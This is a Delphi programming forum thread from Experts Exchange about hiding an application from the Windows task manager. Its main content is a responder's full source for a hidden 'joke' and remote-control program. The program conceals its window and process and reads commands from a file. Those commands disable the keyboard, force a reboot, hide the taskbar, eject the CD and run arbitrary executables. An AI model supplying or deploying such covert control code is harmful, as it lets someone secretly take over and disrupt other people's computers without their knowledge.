Hide app. from processes list taskmanager

Hello all,

I asked this question before, but got no good answer. I have open points in those questions. If you answer this question we vcan arrange something for more points (17 is my limit now....;-(

About my question:
- I don't want to make my app a service
(By the by: RegisterServiceProcess doesn;t work on NT, also not with the Win 95 version of the kernel32.dll).
- I allready have info around:
ShowWindow(FindWindow(nil, @Application.Title[1]), SW_HIDE);

thanks!
Floris.
LVL 2
florisbAsked:
Who is Participating?
I wear a lot of hats...

"The solutions and answers provided on Experts Exchange have been extremely helpful to me over the last few years. I wear a lot of hats - Developer, Database Administrator, Help Desk, etc., so I know a lot of things but not a lot about one thing. Experts Exchange gives me answers from people who do know a lot about one thing, in a easy to use platform." -Todd S.

LischkeCommented:
Mmmh, I guess you got no answer because it is not possible to hide the application. I wonder what sense it makes to hide an application this way. It is a process of the system so it should enumerate properly. The only reason I can image why someone wants to hide an application is to hide something illegal. Other reasons?

Ciao, Mike
0
MadshiCommented:
Floris, somehow I don't understand you. In the other question you claimed that you already solved the problem!! So why this question??
0
craig_capelCommented:
well not totaly true, i made a few joke programs, and remote control programs with that method.....

try this code..

unit fun;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  ExtCtrls, StdCtrls, mmsystem;

type
  TForm1 = class(TForm)
    Timer1: TTimer;
    procedure FormActivate(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;



 function  RegisterServiceProcess(dwProcessID,dwType : DWORD) :
                      DWORD; stdcall; external 'KERNEL32.DLL';

var
  Form1: TForm1;
  w,w2: hwnd;
  tmp2,tmp,s: string;
  t: textfile;

implementation

{$R *.DFM}

 procedure OpenCloseCD(TrueForOpenFalseForClose: boolean);
{ Works as well as OpenCloseCDDrive() above, }
{ but you don't have to specify a drive letter. }
{ Thanks to Bence Parhuzamos [parhuzamos@yahoo.com] for this code. }
var
  mci: TMCI_Open_Parms;
begin
  FillChar(mci, SizeOf(mci), #0);
  mci.lpstrDeviceType := PChar('CDAudio');
  mciSendCommand(0, mci_Open, mci_Open_Type, Longint(@mci));
  mciSendCommand(mci.wDeviceID, mci_Set, 256*(Byte(not TrueForOpenFalseForClose)+1), 0);
  { MCI_SET_DOOR_OPEN = 256 }
  { MCI_SET_DOOR_CLOSED = 512 }
  mciSendCommand(mci.wDeviceID, mci_Close, 0, 0);
end;

procedure TForm1.FormActivate(Sender: TObject);
var
w: hwnd;
begin
  showwindow(form1.handle,sw_hide);
  w:=findwindow('tapplication',nil);
  showwindow(w,sw_hide);
end;

procedure TForm1.Timer1Timer(Sender: TObject);
var
  n: integer;
begin
   if fileexists('c:\fun.cjc') then
     begin
         system.assign(t,'c:\fun.cjc');
         system.reset(t);
         readln(t,tmp);
         system.rewrite(t);
         system.close(t);
         deletefile(pchar('c:\fun.cjc'));
        end;
  if tmp='mouse' then
    begin
      for n:=1 to 10000 do
        begin
         application.processmessages;
           setcursorpos(random(640),random(480));
        end;
          tmp:='';
       end;
 if tmp='nostart' then
    begin
        w:=findwindow('shell_traywnd',nil);
        w:=getnextwindow(w,gw_child);
        showwindow(w,sw_hide);
          tmp:='';
    end;
  if tmp='start' then
    begin
        w:=findwindow('shell_traywnd',nil);
        w:=getnextwindow(w,gw_child);
        showwindow(w,sw_show);
          tmp:='';
    end;

 if tmp='logoff' then
   begin
     ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0);
        tmp:='';
   end;
 if tmp='nobar' then
    begin
        w:=findwindow('shell_traywnd',nil);
        showwindow(w,sw_hide);
          tmp:='';
    end;
 if tmp='bar' then
    begin
        w:=findwindow('shell_traywnd',nil);
        showwindow(w,sw_show);
          tmp:='';
    end;

 if tmp='nokeyboard' then
    begin
      asm
        in al,21h
        or al,2;
        out 21h,al;
       end;
          tmp:='';

    end;
 if tmp='keyboard' then
    begin
      asm
        in al,21h
        and al,7;
        out 21h,al;
       end;
      tmp:='';
    end;

 if copy(tmp,1,3)='exe' then
   begin
   tmp2:=copy(tmp,5,length(tmp)-4);
     winexec(pchar(tmp2),1);
     tmp:='';
   end;

 if copy(tmp,1,9)='playsound' then
   begin
    tmp2:=copy(tmp,11,length(tmp)-10);
    PlaySound (pchar(tmp2), 0, snd_async);
    tmp:='';
   end;

 if tmp='ejectcd' then
   begin
       OpenCloseCD(true);
       tmp:='';
   end;

  if tmp='closecd' then
   begin
       OpenCloseCD(false);
       tmp:='';
   end;


end;

procedure TForm1.FormCreate(Sender: TObject);
begin
RegisterServiceProcess(GetCurrentProcessID,1);
end;

end.
..


sorry to all the admin people here, it would not make sence otherwise...... some little good tips here as well, does not work with NT, well i mean i have not tested it on NT

Craig C.
0

Experts Exchange Solution brought to you by

Your issues matter to us.

Facing a tech roadblock? Get the help and guidance you need from experienced professionals who care. Ask your question anytime, anywhere, with no hassle.

Start your 7-day free trial
Upgrade your Question Security!

Your question, your audience. Choose who sees your identity—and your question—with question security.

florisbAuthor Commented:
Dear Madsi,

I had quite some questions answered by experts here, but not the process-list one....:-) Comprendi?

Dear Lischke,

Why (illegal)? -> Imaging an Messaging system that provides outlook automation for a total paperless-office. Image this and the need for an app. to detect Outlook start... ...and some secutity; users should never be able to just start Outlook.... ...not illegal, eeh?
Ennuh... ..I'm one of those developpers not believing in impossibles.... (But aware of the impossibilities for me....;-(

Dear Craig Capel,

thanks, I'll try it at home (win 95).... ....it's invisible under 95, if I see correct, but the process will still be visible under NT. Hmmmm. Well, I'll just give you the points...(good enough for 17 points) ...I'll probably post the same question again in some days...:-)

....

I'm still looking for a solution using registerServiceProces under NT...
 
Floris.

0
MadshiCommented:
There is no RegisterServiceProcess under NT. So will never find such a solution. The only possibility is to either write a service process or use some very very very very (very ...) ugly hacks...   :-(
0
LischkeCommented:
Floris,

right, I understand what you wanna try, but I don't understand why the process must then not be visible to the user. Usually only the administrator will have a closer look at the process list (for good reasons) but you wanna hide a process which doesn't need to be hidden if you are honest.

Ciao, Mike
0
florisbAuthor Commented:
Grrrrr.

Has nothing to do with honesty, Lischke.

Your right about that A Windows NT-Service with standard NT protection is a good solution, with the standard administrator-protection (normal users = no access).

On Windows 95 there remains the isue of how to protect the files, normally you wouldn't want this offcourse, for the freedom of the user.

There's one other side; we're a small softwareware compagny with a 6 person NT Network. Just for fun we try to to hack our intranet / NT something. If you want administrator passwords and they didn't made them longer then 8 characters, you can get them winthin a few minuts with 'innocent' hacking software you download for free on the internet.... ....oh, you didn't knwow? I'm a Microsoft developper and I see the good and the bad sides..;-(

I was just hoping that I could do somthing with a trick from my normal application (I'll send you a small private email). Just to provide an extra security functionality, well, not an extra, but just a real good one.

I hope at least to prove my honesty with this... ...Thou I do adit that the possibity of making a funny program slipped my mind...:-)...no formatting tricks with my name, that's for sure.

If someone could provide me with a solution, you possibly willnot like to post the solution here (?) well, I'll hear. I don't have the points for it yet, but I do put 250 point on this question.

Nice weekend,
Floris.

0
It's more than this solution.Get answers and train to solve all your tech problems - anytime, anywhere.Try it for free Edge Out The Competitionfor your dream job with proven skills and certifications.Get started today Stand Outas the employee with proven skills.Start learning today for free Move Your Career Forwardwith certification training in the latest technologies.Start your trial today
Delphi

From novice to tech pro — start learning today.